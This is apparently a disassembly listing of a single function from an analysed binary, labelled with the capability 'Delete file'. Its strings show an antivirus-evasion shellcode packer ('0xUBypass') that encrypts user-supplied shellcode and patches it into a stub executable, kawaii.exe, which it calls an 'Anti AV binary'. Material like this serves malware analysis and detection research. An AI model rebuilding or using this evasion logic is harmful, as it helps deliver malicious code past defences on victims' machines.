Function at 0x401290
Capabilities:
Delete file

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40b78c
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xac8
mov eax, dword [0x40f040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x8b8], edx
mov dword [ebp - 0x8b0], 0
cmp ecx, 2
je 0x40131b
push 0x4037b0
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Usage:_0xUBypass.exe__shellcode_path_
call fcn.00403590
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.shellcode_path_is_a_relative_path_to_the_binary_file_contains_all_your_shellcode
mov ecx, eax
call fcn.00403590
or eax, 0xffffffff
jmp 0x4020ac
xorps xmm0, xmm0
mov dword [ebp - 0x888], 0
movups xmmword [ebp - 0x898], xmm0
mov dword [ebp - 0x884], 0xf
mov byte [ebp - 0x898], 0
mov dword [ebp - 4], 0
movups xmmword [ebp - 0x868], xmm0
mov dword [ebp - 0x858], 0
mov dword [ebp - 0x854], 0xf
mov byte [ebp - 0x868], 0
push 0
mov byte [ebp - 4], 1
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
add esp, 4
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 4
cmp dword [ebp - 0x884], 0xf
lea eax, [ebp - 0x898]
mov dword [ebp - 0x888], 0
lea edx, [ebp - 0x898]
cmova eax, dword [ebp - 0x898]
lea ecx, [ebp - 0x868]
mov byte [ebp - 0x8a8], 1
mov byte [eax], 0
lea eax, [ebp - 0x868]
cmp dword [ebp - 0x854], 0xf
mov dword [ebp - 0x858], 0
cmova eax, dword [ebp - 0x868]
mov byte [eax], 0
call fcn.004086f0
sub esp, 0x18
mov dword [ebp - 0x848], 0x78563412
mov edi, esp
mov dword [ebp - 0x844], 0x78563412
xorps xmm0, xmm0
mov dword [ebp - 0x840], 0x78563412
lea ecx, [ebp - 0x898]
mov dword [ebp - 0x83c], 0x78563412
movups xmmword [ebp - 0x34], xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
cmp dword [ebp - 0x884], 0xf
mov eax, dword [ebp - 0x888]
cmova ecx, dword [ebp - 0x898]
mov dword [ebp - 0x89c], ecx
mov dword [ebp - 0x8a4], eax
movups xmmword [ebp - 0x24], xmm0
movups xmmword [ebp - 0x878], xmm0
cmp eax, 0x7fffffff
ja 0x4020ca
cmp eax, 0xf
ja 0x401477
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], 0xf
movups xmm0, xmmword [ecx]
movups xmmword [edi], xmm0
jmp 0x401501
mov esi, eax
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x401493
mov ecx, 0x80000000
mov esi, 0x7fffffff
add ecx, 0x23
jmp 0x4014b3
cmp esi, 0x16
mov eax, 0x16
cmovb esi, eax
lea eax, [esi + 1]
cmp eax, 0x1000
jb 0x4014cf
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x4020cf
push ecx
call fcn.0040a80b
add esp, 4
test eax, eax
je 0x40209a
lea ecx, [eax + 0x23]
and ecx, 0xffffffe0
mov dword [ecx - 4], eax
jmp 0x4014e2
test eax, eax
je 0x4014e0
push eax
call fcn.0040a80b
add esp, 4
mov ecx, eax
jmp 0x4014e2
xor ecx, ecx
mov eax, dword [ebp - 0x8a4]
mov dword [edi + 0x10], eax
inc eax
push eax
push dword [ebp - 0x89c]
mov dword [edi], ecx
push ecx
mov dword [edi + 0x14], esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push ecx
lea eax, [ebp - 0x34]
mov edx, 0x10
push eax
lea ecx, [ebp - 0x848]
call fcn.00408e20
add esp, 8
lea ecx, [ebp - 0x868]
mov edi, esp
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
cmp dword [ebp - 0x854], 0xf
mov eax, dword [ebp - 0x858]
cmova ecx, dword [ebp - 0x868]
mov dword [ebp - 0x89c], ecx
mov dword [ebp - 0x8a4], eax
cmp eax, 0x7fffffff
ja 0x4020ca
cmp eax, 0xf
ja 0x40157a
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], 0xf
movups xmm0, xmmword [ecx]
movups xmmword [edi], xmm0
jmp 0x40160b
mov esi, eax
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x401596
mov eax, 0x80000000
mov esi, 0x7fffffff
add eax, 0x23
jmp 0x4015b7
cmp esi, 0x16
mov ecx, 0x16
cmovb esi, ecx
lea ecx, [esi + 1]
cmp ecx, 0x1000
jb 0x4015d9
lea eax, [ecx + 0x23]
cmp eax, ecx
jbe 0x4020cf
push eax
call fcn.0040a80b
add esp, 4
test eax, eax
je 0x40209a
lea ecx, [eax + 0x23]
and ecx, 0xffffffe0
mov dword [ecx - 4], eax
mov eax, dword [ebp - 0x8a4]
jmp 0x4015f2
test ecx, ecx
je 0x4015f0
push ecx
call fcn.0040a80b
mov ecx, eax
add esp, 4
mov eax, dword [ebp - 0x8a4]
jmp 0x4015f2
xor ecx, ecx
mov dword [edi + 0x10], eax
inc eax
push eax
push dword [ebp - 0x89c]
mov dword [edi], ecx
push ecx
mov dword [edi + 0x14], esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push ecx
lea eax, [ebp - 0x878]
mov edx, 0x20
push eax
lea ecx, [ebp - 0x34]
call fcn.004095e0
add esp, 0x20
xor eax, eax
nop word [eax + eax]
movzx edx, byte [ebp + eax - 0x848]
cmp dl, byte [ebp + eax - 0x878]
mov edx, 0
mov ecx, dword [ebp - 0x8a8]
movzx ecx, cl
cmove edx, ecx
movzx ecx, dl
mov dl, byte [ebp + eax - 0x877]
cmp byte [ebp + eax - 0x847], dl
mov edx, 0
cmove edx, ecx
movzx ecx, dl
mov dl, byte [ebp + eax - 0x876]
cmp byte [ebp + eax - 0x846], dl
mov edx, 0
cmove edx, ecx
movzx ecx, dl
mov dl, byte [ebp + eax - 0x875]
cmp byte [ebp + eax - 0x845], dl
mov edx, 0
cmove edx, ecx
add eax, 4
mov dword [ebp - 0x8a8], edx
cmp eax, 0x10
jb 0x401630
test dl, dl
je 0x401382
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.___Generated_Private_Key__
call fcn.00403590
cmp dword [ebp - 0x854], 0xf
lea edx, [ebp - 0x868]
push 0x4037b0
cmova edx, dword [ebp - 0x868]
push ecx
push dword [ebp - 0x858]
mov ecx, eax
call fcn.00403b80
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0x40c364
lea ecx, [ebp - 0x850]
call fcn.00402f40
mov ecx, eax
mov dword [ebp - 0x8a8], ecx
mov esi, dword [ebp - 0x8b8]
mov byte [ebp - 4], 2
mov esi, dword [esi + 4]
mov edi, esi
mov dword [ebp - 0x89c], esi
lea edx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x401723
mov eax, dword [ecx + 0x14]
sub edi, edx
mov edx, dword [ecx + 0x10]
sub eax, edx
cmp edi, eax
ja 0x401767
cmp dword [ecx + 0x14], 0xf
lea eax, [edx + edi]
mov dword [ecx + 0x10], eax
mov eax, ecx
jbe 0x401748
mov eax, dword [ecx]
push edi
push dword [ebp - 0x89c]
lea esi, [edx + eax]
push esi
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x8a8]
add esp, 0xc
mov byte [edi + esi], 0
jmp 0x40177c
push edi
push esi
mov byte [ebp - 0x89c], 0
push dword [ebp - 0x89c]
push edi
call fcn.00403a10
mov dword [ebp - 0x870], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x880], xmm0
mov dword [ebp - 0x86c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x880], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x870], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 3
lea eax, [ebp - 0x880]
cmp dword [ebp - 0x86c], 0xf
lea ecx, [ebp - 0xad8]
cmova eax, dword [ebp - 0x880]
sub esp, 0xc
push eax
call fcn.00402df0
mov eax, dword [ebp - 0xad8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xad8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0xadc], eax
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x86c]
cmp ecx, 0xf
jbe 0x40184a
mov edx, dword [ebp - 0x880]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401840
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401895
push ecx
push edx
call fcn.0040a83b
add esp, 8
mov dword [ebp - 0x870], 0
mov dword [ebp - 0x86c], 0xf
mov byte [ebp - 0x880], 0
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x83c]
cmp ecx, 0xf
jbe 0x4018a5
mov edx, dword [ebp - 0x850]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40189b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40189b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040a83b
add esp, 8
cmp dword [ebp - 0xa7c], 0
mov dword [ebp - 0x840], 0
mov dword [ebp - 0x83c], 0xf
mov byte [ebp - 0x850], 0
jne 0x4018d0
mov edx, str.Failed___Make_sure_your_shellcode_file_exists_and_readable
jmp 0x40190f
push 0x800
lea eax, [ebp - 0x838]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x838]
lea ecx, [ebp - 0xad8]
push 0
push 0x800
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
mov ecx, dword [ebp - 0xad0]
test ecx, ecx
jne 0x401933
mov edx, str.Failed___Empty_shellcode_file_or_an_unexpected_error_occurred
push 0x4037b0
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00403590
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
or esi, 0xffffffff
jmp 0x401f77
mov eax, ecx
mov edx, str.___Your_Padding_Original_Shellcode_Size_is
shr eax, 3
test cl, 7
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4037b0
lea esi, [eax + 1]
cmovbe esi, eax
shl esi, 3
push esi
mov dword [ebp - 0x8a4], esi
call fcn.00403590
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edi, esi
shr edi, 3
mov edx, str.___Your_Padding_Encrypted_Shellcode_Size_is
shl edi, 4
push 0x4037b0
push edi
mov dword [ebp - 0x8b4], edi
call fcn.00403590
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
sub esp, 0x18
lea edx, [ebp - 0x898]
mov eax, esp
xorps xmm0, xmm0
mov dword [ebp - 0x8a8], eax
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
cmp dword [ebp - 0x884], 0xf
mov ecx, dword [ebp - 0x888]
cmova edx, dword [ebp - 0x898]
mov dword [ebp - 0x8b0], edx
mov dword [ebp - 0x89c], ecx
cmp ecx, 0x7fffffff
ja 0x4020ca
cmp ecx, 0xf
ja 0x401a0f
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], 0xf
movups xmm0, xmmword [edx]
movups xmmword [eax], xmm0
jmp 0x401aae
mov esi, ecx
or esi, 0xf
cmp esi, 0x7fffffff
jbe 0x401a4b
mov eax, 0x80000000
mov esi, 0x7fffffff
add eax, 0x23
push eax
call fcn.0040a80b
add esp, 4
test eax, eax
je 0x40209a
lea ecx, [eax + 0x23]
and ecx, 0xffffffe0
mov dword [ecx - 4], eax
mov eax, dword [ebp - 0x8a8]
jmp 0x401a87
cmp esi, 0x16
mov ecx, 0x16
cmovb esi, ecx
lea ecx, [esi + 1]
cmp ecx, 0x1000
jb 0x401a6e
lea eax, [ecx + 0x23]
cmp eax, ecx
jbe 0x4020cf
jmp 0x401a29
test ecx, ecx
je 0x401a85
push ecx
call fcn.0040a80b
mov ecx, eax
add esp, 4
mov eax, dword [ebp - 0x8a8]
jmp 0x401a87
xor ecx, ecx
mov edx, dword [ebp - 0x89c]
mov dword [eax], ecx
mov dword [eax + 0x10], edx
mov dword [eax + 0x14], esi
lea eax, [edx + 1]
push eax
push dword [ebp - 0x8b0]
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov esi, dword [ebp - 0x8a4]
add esp, 0xc
push ecx
push 0x40f0a0
mov edx, esi
lea ecx, [ebp - 0x838]
call fcn.00408e20
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 0x20
mov edx, str.___Your_Encrypted_Shellcode_is
call fcn.00403590
xor esi, esi
cmp esi, edi
jae 0x401af2
movzx eax, byte [esi + 0x40f0a0]
push eax
push str._02x
call fcn.00401050
add esp, 8
inc esi
jmp 0x401ad6
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4037b0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push str.kawaii.exe
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 4
mov edx, str.___Removed_old_binary_file
push 0x4037b0
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00403590
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [ebp - 0x8b8]
lea ecx, [ebp - 0xa20]
sub esp, 0xc
push dword [eax]
call fcn.00402df0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x900]
mov dword [ebp - 0x968], 0x40c548
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [ebp - 0x964]
mov byte [ebp - 4], 8
push eax
lea ecx, [ebp - 0x968]
mov dword [ebp - 0x8b0], 3
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov dword [ebp - 4], 9
mov eax, dword [ebp - 0x968]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x968]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x96c], eax
lea ecx, [ebp - 0x964]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
lea ecx, [ebp - 0x964]
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [ebp - 0x91c], 0
mov byte [ebp - 0x927], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x410694]
mov ecx, dword [0x410698]
mov dword [ebp - 0x918], 0
mov dword [ebp - 0x924], eax
mov dword [ebp - 0x920], ecx
mov dword [ebp - 0x92c], 0
push ecx
push 0x22
push str.kawaii.exe
lea ecx, [ebp - 0x964]
mov byte [ebp - 4], 0xa
call fcn.00403400
test eax, eax
jne 0x401c43
push eax
mov eax, dword [ebp - 0x968]
lea ecx, [ebp - 0x968]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov byte [ebp - 4], 0xb
push 0x100000
mov dword [ebp - 0x8b0], 0x11ddffff
mov word [ebp - 0x8ac], 0x1099
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
lea ecx, [ebp - 0xa20]
mov edi, eax
push 0
push 0x100000
push edi
mov dword [edi], 0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
mov eax, dword [ebp - 0xa18]
xor esi, esi
add eax, 0xfffffffa
test eax, eax
jle 0x401d2e
xor ecx, ecx
lea edx, [esi + edi]
nop dword [eax]
mov al, byte [ecx + edx]
cmp al, byte [ebp + ecx - 0x8b0]
jne 0x401cd6
inc ecx
cmp ecx, 6
jl 0x401ca0
test esi, esi
js 0x401d2e
xor ecx, ecx
lea edx, [esi + edi]
nop
mov eax, dword [ebp - 0x8b4]
cmp ecx, eax
jae 0x401ce6
mov al, byte [ecx + 0x40f0a0]
mov byte [edx + ecx], al
inc ecx
jmp 0x401cc0
mov eax, dword [ebp - 0xa18]
inc esi
add eax, 0xfffffffa
cmp esi, eax
jl 0x401c97
jmp 0x401d2e
mov byte [edx + 0x1000], al
shr eax, 8
mov byte [edx + 0x1001], al
shr eax, 8
mov byte [edx + 0x1002], al
shr eax, 8
mov byte [edx + 0x1003], al
mov eax, dword [ebp - 0x8a4]
mov byte [edx + 0x1004], al
shr eax, 8
mov byte [edx + 0x1005], al
shr eax, 8
mov byte [edx + 0x1006], al
shr eax, 8
mov byte [edx + 0x1007], al
push dword [ebp - 0xa14]
lea ecx, [ebp - 0x968]
push dword [ebp - 0xa18]
push edi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4037b0
push 0x4037b0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push ecx
mov edx, str.___Generated_Anti_AV_binary_file___kawaii.exe
mov ecx, eax
call fcn.00403590
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.___Usage_Command___kawaii.exe
call fcn.00403590
mov edx, 0x40c4cc
mov ecx, eax
call fcn.00403590
cmp dword [ebp - 0x854], 0xf
lea edx, [ebp - 0x868]
push dword [ebp - 0x858]
cmova edx, dword [ebp - 0x868]
mov ecx, eax
call fcn.00403b80
add esp, 4
mov edx, 0x40c4c8
push 0x4037b0
push ecx
mov ecx, eax
call fcn.00403590
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x964]
call fcn.00403370
test eax, eax
jne 0x401df9
push eax
mov eax, dword [ebp - 0x968]
lea ecx, [ebp - 0x968]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0xa10]
call fcn.00403370
test eax, eax
jne 0x401e20
push eax
mov eax, dword [ebp - 0xa20]
lea ecx, [ebp - 0xa20]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, dword [ebp - 0x968]
add esp, 4
xor esi, esi
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x968]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x96c], eax
mov byte [ebp - 4], 0xc
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
cmp dword [ebp - 0x918], esi
je 0x401e99
mov eax, dword [ebp - 0x958]
lea ecx, [ebp - 0x928]
cmp dword [eax], ecx
jne 0x401e99
mov edx, dword [ebp - 0x910]
mov ecx, dword [ebp - 0x914]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x948]
mov dword [eax], ecx
mov eax, dword [ebp - 0x938]
mov dword [eax], edx
cmp byte [ebp - 0x91c], 0
je 0x401ead
lea ecx, [ebp - 0x964]
call fcn.00403370
lea ecx, [ebp - 0x964]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x960]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x900]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov eax, dword [ebp - 0xa20]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xa20]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0xa24], eax
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0x9c4], 0
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
je 0x401f3f
mov eax, dword [ebp - 0xa04]
lea ecx, [ebp - 0x9d4]
cmp dword [eax], ecx
jne 0x401f3f
mov edx, dword [ebp - 0x9bc]
mov ecx, dword [ebp - 0x9c0]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x9f4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x9e4]
mov dword [eax], edx
cmp byte [ebp - 0x9c8], 0
je 0x401f53
lea ecx, [ebp - 0xa10]
call fcn.00403370
lea ecx, [ebp - 0xa10]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0xa08]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x9b0]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov eax, dword [ebp - 0xad8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xad8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0xadc], eax
mov byte [ebp - 4], 0xe
cmp dword [ebp - 0xa7c], 0
mov dword [ebp - method.std::basic_filebuf_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
je 0x401fe5
mov eax, dword [ebp - 0xabc]
lea ecx, [ebp - 0xa8c]
cmp dword [eax], ecx
jne 0x401fe5
mov edx, dword [ebp - 0xa74]
mov ecx, dword [ebp - 0xa78]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0xaac]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa9c]
mov dword [eax], edx
cmp byte [ebp - 0xa80], 0
je 0x401ff9
lea ecx, [ebp - 0xac8]
call fcn.00403370
lea ecx, [ebp - 0xac8]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0xac0]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0xa68]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [ebp - 0x854]
cmp ecx, 0xf
jbe 0x402053
mov edx, dword [ebp - 0x868]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402049
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40209a
push ecx
push edx
call fcn.0040a83b
add esp, 8
mov ecx, dword [ebp - 0x884]
mov dword [ebp - 0x858], 0
mov dword [ebp - 0x854], 0xf
mov byte [ebp - 0x868], 0
cmp ecx, 0xf
jbe 0x4020aa
mov edx, dword [ebp - 0x898]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4020a0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4020a0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040a83b
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040a7fd
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004011e0
call fcn.00401140
int3